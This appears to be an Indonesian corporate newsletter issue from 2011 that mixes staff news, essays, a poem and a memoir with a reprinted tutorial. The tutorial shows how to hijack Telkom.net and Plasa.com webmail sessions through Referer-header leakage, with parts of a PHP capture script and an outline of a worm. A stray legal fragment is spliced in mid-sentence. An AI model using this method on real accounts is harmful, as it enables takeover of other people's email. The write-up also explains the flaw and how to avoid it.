21 Maret 2011
Ketua Redaksi
Agatha V. Lina
1. Redaksi menerima
kiriman berita/
pengetahuan umum.
2. Materi dalam bentuk
naskah jadi dikirimkan
kepada Alamat Redaksi
Lentera UOB Buana.
3. Semua Naskah yang
diterima oleh Redaksi
akan diseleksi oleh
Ketua Redaksi.
4. Redaksi berhak untuk
melakukan penyesuaian
kata yang diterima tanpa
merubah isi.
T E R B I T S E T I A P S E N I N
Kantor Pusat
Alamat Redaksi
Sekretariat Korporasi
UOB Plaza, 15th floor
Jl. M.H. Thamrin No. 10
Jakarta 10230
Phone : +62 21 - 23506000
Fax : +62 21 - 29936632
cst.comm@uob.co.id
www.uobbuana.com
Donor Darah UOB Buana 2011
Sebagai salah satu kegiatan CSR, pada tanggal 21 Maret 2011 UOB Buana bekerjasama dengan Palang Merah Indonesia (PMI) kembali mengadakan kegiatan “DonorDarah UOB Buana”. Kegiatan yang baru pertama kali dilakukan di UOB Plaza ini, mendapat sambutan yang sangat baik dari karyawan UOB Buana yang berada di UOB Plaza dan beberapa Capem sekitar serta beberapa staff dari UOB Property.
Kegiatan ini mendapat dukungan dari Direksi, dimana Deputi President Direktur Wang Lian Khee, Direktur Finance & Corporate Services Safrullah Hadi Saleh dan Direktur Kepatuhan Soehadie Tansol turut hadir dan menyaksikan kegiatan tersebut. Untuk melayani rekan-rekan lain yang tidak berkantor di UOB Plaza, kegiatan donor darah ini juga dilaksanakan di KC Asemka dan KC Kelapa Gading secara bersamaan.
Donor Darah UOB Buana 2011
UOB Buana Tips of the Week
No. 341
Tangkaplah setiap kesempatan agar kita tidak pernah menyesal di kemudian hari.
Analisa kasus Hacking Email Telkom.net dan Plasa.com
Telkom.net dan Plasa.com adalah fasilitas email gratis yang diberikan oleh PT Telkom. Pengguna email telkomnet dan plasacom patut waswas, karena amat mudah untuk menghack email di sana. Hanya dengan membuka sebuah email yang telah dirancang khusus oleh attacker, email anda bisa menjadi milik attacker. Dalam artikel ini saya akan tunjukkan apa kelemahannya, bagaimana cara mengexploitasi kelemahan itu dan tentu saja bagaimana cara agar terhindar dari serangan itu.
Webmail Session Hijacking
Teknik hacking email dalam artikel ini adalah dengan cara hijacking session. Oleh karena itu teknik ini hanya bisa dilakukan pada webmail telkom.net dan plasa.com, pengguna telkom.net dan plasa.com yang menggunakan Outlook/Thunderbird tidak rentan terhadap serangan ini.
Karena http adalah protokol yang stateless, sedangkan untuk membuat session server harus bisa memantau state user, maka digunakanlah session ID sebagai kunci atau penanda suatu session. Bila sessionID diketahui attacker, maka attacker bisa menguasai session korban. Orang lain, siapapun yang membawa sessionIDanda, akan dianggap oleh server sebagai anda . Hijacking session adalah usaha untuk mendapatkan session ID korban, dengan cara predicting, capturing, atau fixating session ID.
SessionID diberikan oleh server dan harus dikembalikan lagi oleh browser (client) setiap kali membuat request. Mekanisme penyimpanan dan pengiriman session ID bisa dilakukan dengan dua cara:
1. Session Cookie: Session ID diberikan server dalam bentuk cookie dan disimpan oleh browser. Setiap browser melakukan request, cookie tersebut akan dikembalikan ke server lagi sebagai bukti bahwa user tersebut adalah masih orang yang sama.
2. URL Rewriting: Server menyisipkan session ID dalam halaman html yang dikirimkan ke browser. Session ID tersebut dimasukkan dalam bentuk URL di tag html tertentu seperti link (tag A). Contohnya bila URL link aslinya adalah http://www.somesite.com/inbox.php Oleh server link tersebut akan disisipkan sessionID menjadi:
Dengan cara ini setiap kali user mengklik link tersebut, maka sessionID juga akan dikirim ke server sebagai bukti bahwa user tersebut adalah pengguna session yang sah.
SessionID paling aman disimpan dan dikirim kembali ke server dalam bentuk cookie, apalagi bila cookie tersebut diamankan dengan bit secure atau httponly. Kemungkinan serangan yang bisa dilancarkan untuk mencuri cookie adalah dengan XSS attack dan sniffing attack, kedua jenis serangan itu bisa dicegah dengan bit secure dan httponly.
Bila cookie telah diamankan dengan secure bit, maka cookie tersebut tidak bisa dicuri dengan sniffing karena cookie hanya dikirim melalui https, cookie tersebut juga tidak bisa dicuri dengan serangan XSS karena akses javascript terhadap cookie telah ditutup. Bila cookie hanya dilindungi dengan httponly, maka cookie itu aman dari serangan XSS, namun rentan sniffing bila cookie dikirimkan melalui http biasa.
Berbeda dengan cookie, menyimpan Session ID dalam URL sangatlah berbahaya, karena URL mudah dilihat, dikopi dan disimpan dalam bookmark, log file dan sebagainya. Selain itu sessionID juga bisa bocor ke tempat lain melalui header Referer. Sebab header Referer bertugas membawa URL dimana sebuah request dilakukan. Bila dalam suatu halaman terjadi request untuk mengambil gambar, maka header Referer akan mengandung URL dari halaman tersebut. Dalam artikel ini saya akan menggunakan jurus header Referer untuk membajak sessionwebmail Telkom.net dan Plasa.com. Bagi pemilik situs, tentu sering melihat header ini dengan program statistic seperti Awstats untuk melihat pengunjung situs berasal dari situs mana saja.
SessionID webmail Telkom.net dan Plasa.com disimpan pada URL sehingga memudahkan pembajakan session. Mari kita lihat bagaimana bentuk URL webmail telkom.net dan plasa.com:
Session ID pada URL telkom.net dan plasa.com disisipkan setelah /Session/ hingga karakter / (slash). Sekarang bagaimana caranya attacker bisa mengetahui URL yang sedang dibuka korban di browsernya? Di awal saya sudah menyebutkan sekilas tentang header request yang bernama Referer. Tugas dari header ini adalah mengirimkan URL halaman yang melakukan request. Agar lebih jelasnya mari kita lihat sebuah contoh.
Ketika pengunjung sedang membuka halaman dengan URL:
Pada baris ke-10 terdapat header Referer yang menunjukkan bahwa request tersebut terjadi ketika kepada user sedang berada di URL tersebut. Karena URL yang direquest adalah http://mail.telkom.net/Session/235581-9w3zNaNskYc1v7ln5DDJ-kmbcuww/batal.gif, maka web server mail.telkom.net tempat file batal.gif tersebut berada, dapat mengetahui URL ketika request tersebut terjadi. Sekarang bayangkan apa yang terjadi bila request tersebut bukan mendownload image dari mail.telkom.net, tapi dariserver www.evilhackersite.com/image.jpg. Web server di www.evilhackersite.com tentu akan mendapatkan URL tempat terjadinya request dari header Referer. Dan karena URL tersebut mengandung Session ID, maka dengan mudah attacker akan membajak sessionanda.
Attack Scenario
Webmail telkom.net dan plasa.com menggunakan URL sebagai mekanisme pertukaran session ID. Attacker bisa menjebak korban untuk membuka sebuah email yang mengandung gambar yang berlokasi diserver attacker. Tag IMG tersebut akan membuat browser korban melakukan request ke server attacker, dengan tentu saja mengirimkan URL korban dalam header Referer. Dengan mengetahui session ID korban, attacker dengan mudah menguasai accountwebmail korban.
Preparing the Script
Sebelum bisa melakukan serangan, yang pertama harus dilakukan adalah menyiapkan server side script sebagai target request untuk menangkap SessionID korban. Server side script ini akan di-”masking” sebagai file JPG dengan menggunakan mod_rewrite Apache (.htaccess). Server side script yang dimasking sebagai file JPG inilah yang akan dimasukkan dalam tag IMG dalam email yang dibaca korban. Bila korban membaca email attacker, maka akan terjadi request keserver side script itu, sehingga attacker bisa mendapatkan session ID korban dan menguasai emailnya.
URL yang akan kita jadikan tujuan request adalah: http://www.ilmuhacking.com/mylab/image.jpg yang sebenarnya adalah masking untuk server side script http://www.ilmuhacking.com/mylab/checkmail.php. Dengan menggunakan mod_rewrite Apache dan settings .htacess berikut ini masking checkmail.php menjadi image.jpg bisa dilakukan:
Berikutnya saya harus menyiapkan file checkmail.php. Tugas dari script php itu adalah mendapatkan session ID kemudian langsung membajak session korban bermodalkan session ID tersebut.
if ((strpos($response,“Updated”)>-1 && $telkomnet==true) || $plasacom==true) {
ImageString($image, 3, 35, 50, “Signature anda berhasil diganti menjadi:” , $white);
ImageString($image, 3, 45, 65, $newsig , $white);
}
header(“Content-Type: image/jpeg”);
ImageJpeg($image);
ImageDestroy($image);
function doPost($url,$data) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$response = curl_exec($ch);
if(curl_errno($ch))
{
$response = curl_error($ch);
}
curl_close($ch);
return $response;
}
?>
Cara kerja script di atas adalah: Pada baris ke-3 isi header Referer diambil. Kemudian dibuat dan dibuka file daftarkorban.txt. File ini adalah log yang menyimpan daftar korban. Pada baris ke-22, session ID diambil dari header referer. Setelah session ID didapatkan kini script bisa mengubah signature korban, dengan cara mengirimkan POST request ke http://mail.telkom.net/Session/[SESSIONID_KORBAN]/settings.wssp, perhatikan baris ke-65. Setelah mengubah signature korban, pada baris ke-66 sampai baris ke-72, script membuat image dengan pesan “Signature anda berhasil diganti menjadi:”.
Launch The Attack
Oke, kini semua persiapan sudah siap. Kini saatnya kita melancarkan serangan dengan mengirimkan email html yang mengandung tag IMG. Dalam contoh attacker adalah rizki.wicaksono@telkom.net dan korban adalah rizki.wicaksono@plasa.com. Ingat ini hanya contoh, dalam kenyataannya attacker bisa menggunakan email apapun, bahkan email palsu (anonymous). Perhatikan gambar berikut ini yang menunjukan bagaimana email yang berisi jebakan dibuat dan ditujukan untuk korban.
Dalam gambar tersebut email diisi dengan tag HTML IMG. Perhatikan bahwa saya bisa saja membuat image tersebut invisible dengan memberikan atribut width dan src 0. Dengan membuat image menjadi invisible, korban tidak akan menyadari bahwa emailnya telah dibajak. Tapi untuk contoh saya membiarkan gambar berukuran besar. Berikut ini adalah isi tanda tangan (signature) email korban sebelum email dibuka.
Dan gambar berikut adalah gambar ketika email attacker tiba.
email attacker tiba
Dan gambar berikut adalah gambar ketika email attacker dibuka oleh korban. Pada gambar tersebut terlihat bahwa session id korban dan pesan bahwa signature korban berubah tertulis dalam file image.jpg.
Pada saat korban membuka email dari attacker, pada saat itu juga attacker menguasai penuh account email korban. Dalam contoh artikel ini attacker mengubah signature korban dengan menambahkan string [YOUR EMAIL HAS BEEN HACKED]. Berikut ini adalah gambar signature korban setelah korban membuka email attacker.
Worm Attack: More Dangerous Scenario
Skenario serangan yang lebih berbahaya adalah bila attacker mengeksploitasi kelemahan ini untuk menciptakan worm. Ingat bahwa ketika attacker mendapatkan session ID, pada saat itu attacker memiliki power yang setara dengan korban. Dengan session korban, attacker bisa mengirimkan email serangan yang sama ke calon korban lain yang ada di dalam daftar buku alamat korban. Begitu teman korban membuka email itu, maka session dia juga dalam genggaman attacker dan dia juga akan menyebarkan serangan ke teman-temannya. Hal ini akan memicu reaksi berantai yang berbahaya.
Sulitkah membuat worm seperti itu? Tidak sulit kok, mudah sekali. Semua itu tidak lebih dari kombinasi request GET dan POST dengan berbekal session ID korban. Attacker harus membaca phone book dengan mengirim request HTTP (GET/POST) dengan session ID korban. Setelah itu attacker akan mengirimkan email serangan ke teman-teman korban juga dengan melakukan request HTTP dengan session ID korban. Begitu seterusnya. Tidak sulit bukan, apalagi buat orang yang sudah sering memprogram.
Tips Menghindari Serangan
Karena serangan ini dilakukan dengan membajak session web, maka serangan ini hanya bisa dilakukan bila korban membaca email telkom.net dan plasa.com dengan webmail. Jadi agar terhindar dari serangan ini, gunakanlah akses POP3 atau IMAP untuk membaca email. Dengan menggunakan email client non-web seperti Thunderbird dan Outlook anda akan aman dari serangan ini.n/atau (c) akses ke jaringan telekomunikasi khusus."
Menjalani profesi dibidang IT, banyak orang yang melakukannya. Tapi bagaimana menjadi seorang profesional IT sendiri, masih banyak yang belum menjalaninya. IT adalah ladang kerja yang saat ini mulai dilirik oleh pencari kerja. Maraknyalembaga pelatihan dan pendidikan formal maupun non-formal yang mendidik danmenghasilkan lulusan di bidang IT, adalah salah satu contoh makin digemarinya lahankerja yang satu ini. Meski boleh dibilang tidak murah namun banyak lulusanSMU/sederajat yang akhirnya memilih pendidikan lanjutan di bidang IT. Puncak karir seorang profesional IT di perusahaan adalah menjadi CIO (ChiefInformation Officer), yaitu pimpinan tertinggi di dalam organisasi (fungsi) teknologiinformasi. Salah satu hasil penelitian menyatakan bahwa top 5 kompetensi yang harusdimiliki oleh seorang CIO antara lain adalah:
1.Kemampuan mendelegasikan tugas-tugas operasional
2.Kemampuan menjalankan otoritas pengeluaran / finansiil
3.Kemampuan menghindari posisi-posisi yang menimbulkan pertantangan
4.Kemampuan menginisiasi atau menjalin hubungan dengan unit-unit diluar IT
5.Kemampuan menggunakan bahasa dengan hati-hati (komunikasi verbal)
Kemampuan / Kompetensi Web Programmer :
• Membuat desain grafis, baik itu web maupun animasi
• Perlu menguasai web design dan aplikasi berbasis web • Menguasai pengembangan aplikasi web berbasis HTML dan ASP.Net ATAU aplikasi web berbasis HTML dan J2EE serta Struts Framework ATAU aplikasi web berbasis MySQL dan PHP. • Web programmer bertugas untuk menghadirkan system dan layanan dari sebuah website. Berseberangan dengan web designer, hasil kerja dari seorang web programmer tidak secara mudah terlihat oleh user. System yang dibangun tidak dapat terlihat ‘kecantikannya’ secara langsung oleh rata-rata user.Kecantikan sebuah system yang dapat dilihat dari segi struktur program, mungkin hanya dapat dinikmati oleh sesama web programmer yang mengerti benar tentang teknis – teknis pembangunan sebuah program. Karena kebanyakan user tidak benar – benar peduli tentang teknis pemograman, kecuali mereka yang memang bersinggungan dengan dunia pemrograman, maka fokus yang harus diperhatikan oleh seorang web programmer adalah efektifitas dan effisiensi dari program yang dibangunnya, termasuk kecepatan, keamanan dan kerapian system.
Mungkin seorang user tidak akan tahu atau tidak ingin tahu dan bahkan tidak harus tahu tentang teknologi mana yang dipakai oleh seorang web programmer. Oleh karenanya, membicarakan semua ‘geek talk’ tentang kehebatan sebuah system yang dipilih ditinjau dari segi teknisnya tidak akan membawa manfaat bagi user yang ada.
Beberapa perusahaan di dunia internet sering membagi tugas web programmer dengan database administrator. Database administrator adalah sebuah profesi lain yang bertugas untuk membangun dan menjaga sebuah database agar tetap efektif dan efisien baik dari segi keamanan, kecepatan maupun kerapiannya.
Dia itu seperti rumput
selalu berubah setiap angin berhembus
lihatlah rumput itu teman
bergerak kesana kemari tetapi mereka begitu gemulai
namun yang paling menyedihkan dia seperti kehilangan arah
takut terhempas namun tetap diam di satu tempat
karena saya adalah rumput
jangan pertanyakan konsistensi saya terhadap tanah diatas dunia ini
saya hanya bergerak mengikutinya
bukan berarti saya menerima nasib
tetapi karena ini takdir yang salah pilih!
Karena saya adalah rumput
Sebuah kumpulan kisah-kisah inspirasi yang sangat bagus seputar kehidupan kita sehari-hari yang diangkat dari sebuah thread Kaskus yang telah disempurnakan. Thread itu berjudul Renunganku, buatmu, buat Kita Semua yang sebenarnya dibuat oleh seseorang pengguna Kaskus yang berinisial nama Arie5758.
Buku ini memuat tentang kisah-kisah atau kejadian-kejadian perandaian yang dapat kita petik hikmahnya dan diimplementasikan dalam kehidupan sehari-hari dan dijadikan pelajaran buat kita semua, baik yang telah mengalami ataupun yang belum mengalaminya sehingga memotivasi dan memiliki pandangan hidup kedepan untuk membangun pribadi yang lebih baik dari sebelumnya.
Banyak juga diambil dari kisah nyata, salah satunya kisah nyata dari China yang berjudul “Aku Mau Mama Kembali”, tepatnya di Provinsi Zhejiang, Cina. Tokoh yang diceritakan adalah seorang bocah yang belum genap berusia 10 tahun bernama Zhang Da harus menanggung beban hidup dan mengambil tanggung jawab yang terbilang berat, dia harus menanggung hidupnya dan hidup papanya yang sedang sakit mulai dari memandikan, mencari dan memberi makan sampai menyuntikkan obat sendiri pada tubuh papanya, sedangkan ibu kandungnya pergi meninggalkannya karena tidak tahan dengan kemiskinan. Ia terbilang cerdas, kreatif, tidak putus asa dan mau belajar, keinginan dan tekadnya untuk mengatasi sulitnya kehidupan membawa dia kepada acara penghargaan, tepatnya 27 Januari 2006, pemerintah China di Provinsi Jiangxu, kota Nanjing memberikan penghargaan kepada 10 orang, dan Zhang Da adalah salah satunya yang dinyatakan telah melakukan perbuatan yang luar biasa dari antara 1,4 milyar penduduk China.
Pesan moral yang ingin disampaikan oleh penulis dalam kisah ini adalah di balik kesulitan pasti ada kemudahan, tiap orang dianugerahkan memiliki kemampuan dan kekuatan untuk menghadapi ujian dalam hidup, Tuhan tidak akan memberikan kesulitan di luar kemampuan umatNya, jangan gampang menyerah pada keadaan, apabila kita sedang jatuh atau di bawah kita harus bangkit dan survive. Karena kemenangan dan kebahagian akan diberikan kepada orang yang mau belajar dan mau berusaha sesuai kemampuannya.
Kehadiran buku ini mengingatkan kita untuk selalu menghargai waktu dan pentingnya orang-orang yang kita cintai di sekeliling kita, terutama orang tua kita. Keberhasilan yang kita raih sekarang memang hasil keringat kita sendiri, tapi tanpa kita sadari semua itu berkat doa dari orang tua walau mereka jauh ataupun di peraduan sekalipun. Seperti kisah utama yang diangkat penulis pada buku ini yang berjudul “Tuhan, Beri Aku Waktu Satu Jam Saja”, seorang gadis cantik bernama Serrafonna hidup penuh dengan berlimpangan harta, bisa dibilang hidupnya sempurna, sampai pada akhirnya menjelang umur 27 tahun sepeninggal orangtuanya wafat, ia menemukan dirinya yang sebenarnya bahwa ia adalah seorang anak pengemis yang diculik dan dijual oleh tokoh terkemuka di kota itu. Ia memohon kepada Tuhan agar diberikan waktu untuk bertemu dengan mama tercinta yang telah melahirkan, menjaga dan pernah memberikan kasih sayang di pangkuannya, mendoakan, mencari dan menantinya selama 25 tahun.
Kisah-kisah dalam buku ini memang dikemas menarik dan banyak pesan moril yang dapat diambil, di akhir cerita si penulis selalu memberikan catatan kecil agar pembaca menyerap apa sih sebenarnya hikmah dan pelajaran dari kisah ini.
Kelemahan dari buku ini adalah diambil dari thread yang kebanyakan kisahnya sudah banyak dibaca dan diketahui oleh orang lain.
Di era globalisasi seperti sekarang ini, jaringan komunikasi sangat berperan, mulai dari kalangan pelajar, pekerja, wirausahawan, entertainer, bahkan ibu rumah tangga ikut berkecimpung di dalamnya. Saat ini budaya, pendidikan, dan lain-lain. Sebelum adanya facebook kita mengenal adanya social networking atau jejaring social lannya seperti MySpace dan Friendster, fungsi dan penggunaanya sama dengan Facebook. Namun kalau kita perhatikan jejaringan Facebook lebih diminati dibanding jejaring sosial lainnya. Ini dikarenakan Facebook lebih banyak content-content nya.
Media jejaring sosial seperti Facebook ini banyak keuntungannya, antara lain bisa terhubung dengan teman-teman lama yang sudah lama tidak bertemu / menjalin komunikasi, bahkan di luar kota atau pun diberbagai belahan Negara lain. Dapat terhubung dengan kawan-kawan lain dengan melihat friend list dari teman kita atau teman yang direkomendasikan. Dapat mencantumkan biodata/profile dan foto-foto yang kita inginkan. Dapat men-Tag hasil foto untuk di shared ke friend list kita.
Apalagi di kalangan mahasiswa, Facebook seperti makanan sehari-hari, selain untuk saling mengenal satu sama lain, Facebook juga sebagai sarana/wadah community mereka untuk berdiskusi mengenai pelajaran, jadwal kuliah, info jadwal ujian, info materi kuliah dan info-info lainnya. Dapat mengetahui aktifitas teman-teman kita dengan mengupdate status. Selain untuk kepentingan akademik dan sosial, dari segi ekonomi Facebook juga sebagai wadah untuk berjualan, contohnya: para pengguna facebook men-tag foto sebagai sample barang yang akan dijual selain itu dapat berfungsi sebagai sarana mempromosikan suatu tempat, event, barang, ataupun jasa. Ada fasilitas chat untuk berkomunikasi lebih private.
Ada kelebihan ada kekurangan, tentunya Facebook mempunyai kekurangan, antara lain waktu yang dibutuhkan untuk mengakses lebih lama dikarenakan bandwidth nya lebih. Facebook juga dapat merusak suatu hubungan pertemanan, persahabatan, hubungan relationship, ataupun hubungan suami istri. Facebook adalah sebuah sarana untuk menyatakan apa saja dalam bentuk apapun sesuai keinginan kita, apabila kita berfacebook dengan baik maka tidak akan terjadi kesalah pahaman ataupun sesuatu yang tidak kita inginkan. Semua itu tergantung bagaimana kita memanfaatkan fasilitas tersebut.
Pada saat ini budaya facebook di kalangan mahasiswa sangat menjamur, bahkan mahasiswa yang belum memiliki facebook dianggap ketinggalan zaman, setiap harinya mereka asik sendiri dengan handphonenya baik untuk berdiskusi, mengomentari status ataupun hanya sekedar membaca status update friendlist nya. Memang fasilitas jejaring ini sangat membooming disemua kalangan, sudah jutaan orang didunia setiap harinya terhubung dengan fasilitas ini. Berdasarkan artikel yang pernah saya baca awalnya jejaringan ini dibuat oleh mahasiswa Harvard sebagai sarana untuk memungkinkan mahasiswa di kelas yang sama dapat melihat daftar dan data-data teman yang sekelas. Namun penggunaanya diperluas lagi hingga sampai saat ini banyak hal yang bisa diakses pada jejaring ini.
Baik dan buruknya bagaimana kita berfacebook dan memanfaatkan fasilitas ini dapat menentukan bagaimana karakter orang tersebut. Demikian saya buat artikel singkat ini, semoga bermanfaat.
Malam yang indah mengingatkanku dengan kejadian yang membahagiakan tiga tahun yang lalu bersama ibuku. Sekilas senyumnya hadir bersama kenangan saat itu. Hari ini tepat hari ulang tahun ibuku tercinta, saat itu ibuku mempersiapkan perayaan ulang tahunnya, meskipun kecil-kecilan hanya untuk keluarga saja, dan yang paling aku dan sekeluarga adalah cheese cake buatan mama tercinta, walaupun keadaan tubuhnya tidak sehat, demi memanfaatkan moment bahagia dan berbagi bersama keluarga, bisa dibilang itu untuk yang terakhir kalinya. Malam itu kami sekeluarga berkumpul di salah satu restoran di daerah Jakarta Selatan, aku, kedua orang tua ku, kakak perempuanku dan kedua adikku bergembira apalagi melihat raut wajahnya yang lebih cerah dan lebih fresh dari biasanya.
Sekilas saya ingin flashback kebelakang, tentang wanita yang kuat, tegar, halus, sabar, dan penuh kasih sayang. Kadang saya bertanya dalam hati bagaimana saya dilahirkan dari sebuah rahim ibu yang sangat kecil itu. Apabila seorang bayi bisa bertanya, maka ia akan bertanya kepada Tuhan seperti ini: Engkau akan mengirimku ke bumi, tapi aku takut, aku masih sangat kecil dan tak berdaya. Siapakah nanti yang akan melindungi aku di luar sana? Apakah aku akan mengerti bahasa dan maksud mereka? Apakah aku bisa berkembang dengan aman? Tuhan pun akan menjawab, Aku akan mengirimkan makhluk dengan penuh kasih sayang, tangan lembut yang memelukmua dan membelaimu. Mempunyai pelukan yang dapat menyebuhkan sakit hati dan keterpurukan, dan semua dilakukan cukup dengan dua tangan. Tapi walaupun dia lembut, Saya memberikan kekuatan agar dia bisa mengatasi banyak hal yang luar biasa. Saya juga memberikan dia air mata sebagai salah satu cara dia mengekspresikan kegembiraan, kegalauan, cinta, kesepian, penderitaan dan kebanggaan. Dia akan mengajari kamu bahasa yang indah dan dapat kau mengerti, membimbingmu dan mendidikmu dengan penuh rasa sayang. Dia berkorban demi orang yang dicintainya, dia menerjunkan dirinya untuk keluarganya, Dia menangis saat melihat anaknya adalah pemenang, dia begitu bahagia mendengar kelahiran, hatinya begitu sedih mendengar berita sakit dan kematian, tetapi dia selalu punya kekuatan untuk mengatasi hidup. Dia tahu bahwa sebuah ciuman dan pelukan dapat menyembuhkan luka. Makhluk itu adalah “IBU”.
Yah, seorang Ibu begitu mulia dimata saya, perempuan yang telah mendidik saya dan keluarga sesuai dengan fitrahnya. Ketika saya menduduki bangku SMU, pernah saya merasa kurang diperhatikan, ibu saya selalu mementingkan kebutuhan kedua adik saya dan kakak saya dibandingkan saya sendiri, semenjak saya di bangku SD saya selalu juara kelas atau minimal menduduki ranking 3 besar, tapi sepertinya ibuku tidak membanggakan saya. Saya pun merasa teman-teman saya lebih care dan perhatian, akibatnya saya selalu menghabiskan waktu bersama-sama teman saya. Sepulang sekolah tidak langsung pulang ke rumah. Ibu pun selalu marah-marah dan saya merasa dibatasi. Sampai beranjak remaja dan menduduki bangku kuliah, saya tetap merasa tidak diperhatikan. Ibu saya selalu marah-marah. Sampai pada akhirnya ibuku jatuh sakit dikarenakan penyakit diabetes yang ada pada tubuhnya, dan terpaksa di rawat inap di salah satu rumah sakit swasta di Jakarta. Kami sekeluarga sangat sedih dan khawatir, karena dia terkulai lemah di tempat tidur, setiap hari harus mengkonsumsi obat dan suntikan insulin harus ada pada tubuhnya, belum lagi cairan infus yang harus masuk. Tetapi walaupun dalam keadaan seperti itu, ibuku tidak lupa selalu menanyakan baaimana kelangsungan sekolah kami, makan kami, tidur kami, perhatiannya tidak pernah luput, walaupun dalam keadaan sakit tetap melaksanakan kewajiban dan kredibilitasnya sebagai seorang istri dan seorang ibu. Buat ibuku keuarga adalah nomor satu. Dari kejadian itu saya pun sadar, betapa berat beban ibuku.
Tahun demi tahun berlalu sampai saya beranjak dewasa, saya mulai mengerti dan paham bahwa ibuku sangat menyayangi kami. Walaupun aku tahu dia tidak pernah mendapatkan kasih sayang yang utuh dari kedua orang tuanya dikarenakan perceraian. Tujuh tahun terakhir ibuku sering keluar masuk rumah sakit karena kondisi tubuhnya yang melemah. Tahun 2007 saat aku baru mulai bekerja di salah satu bank swasta kesehatan ibuku makin memburuk, kondisinya sangat miris, kami sekeluarga tidak tega dengan keadaan ibuku tercinta, ibuku mengalami gagal ginjal dan mengharuskan untuk cuci darah. Hal itu dilakukan dua kali dalam seminggu. Sepulang kerja saya selalu menemani ibu untuk cuci darah sampai jam 1 pagi, saat itu ibu selalu menasihati dan memberi saran kepada saya, kepada kakak dan adik-adik bahwa kemandirian itu penting, kebetulan ibuku menganut agama islam nya kuat jadi dia mengajarkan kami sesuai dengan fitrah Islam, menjadi pribadi yang mandiri dan kuat untuk mengharapkan ridho Nya.
Hampir satu tahun ibu harus menjalani cuci darah dan terapi jantung, kemungkinan diabetesnya sudah menggerogoti organ vital pada tubuhnya sampai pada akhirnya kondisinya melemah dan diharuskan rawat inap. Keuangan keluarga kami pun goyah, mungkin ini adalah cobaan kami. Malam itu sepulang kerja saya menemani ibu, dia tidak ingin makan makanan dari rumah sakit, dia ingin makan makanan yang gurih dari luar, saya pun membelikan makanan dan menyuapinya, ibu kelihatan lapar sekali dan makannya banyak sekali, semenjak di rumah sakit, saya belum pernah melihat ibu makan sebanyak ini. Sampai pada akhirnya keesokan harinya tepat pada tanggal 11 Februari 2008, hari itu saya masuk kerja sedangkan yang menemani ibu di rumah sakit kakakku. Memang hal itu selalu kami lakukan bergantian untuk berjaga di rumah sakit. Pagi itu kami sekeluarga seperti tersambar petir, terpukul tidak percaya. Saya seperti tidak percaya kalau ibu sudah dipanggil oleh Yang Maha Kuasa, air mata saya mengalir deras sekali, berkali-kali saya menelfon kakak saya untuk memastikan apa benar ibu sudah tiada, baru semalam saya menyuapinya, saya seperti marah kenapa secepat itu, saya belum sempat membahagiakan ibu, belum mendampingiku di pelaminan, baju kebaya merah yang aku belikan belum sempat ibu kenakan, tas tangan bordir hijau yang kubelikan belum sempat digunakan, belum sempat menyaksikan salah satu anaknya menikah dan memberikan cucu, air mata saya terus mengalir tiada hentinya, hanya doa yang terucap dibibirku.
Yah, malam ini kami mengulang moment tiga tahun yang lalu makan di restoran yang sama, walau tanpa kehadiran ibu tercinta tetapi kami merasakan kehadiran ibu di hati kami masing-masing. Kami selalu memanjatkan doa untuknya. Kenangannya, kasih sayangnya, ajarannya, kelembutannya, tawa candanya selalu tersimpan abadi di memory kami, sambil memutar vidio di handphoneku tiga tahun yang lalu. Saya rindu tawamu bu.
“Ibu itu ibarat sekolahan
Butuh pondasi kuat dan bangunan
Jika matang Anda persiapkan
Akar kekar pun akan menjadi dahan
Ibu itu ibarat taman
Jangan Anda abaikan!
Jika taman kau perhatikan
Bunga bunga pun segar menawan
Sang maha guru yang bijaksana!
Ibu itu seperti permata
Mata akan terpanah melihat keajaibannya”
(potongan puisi Hafizh Ibrahim)
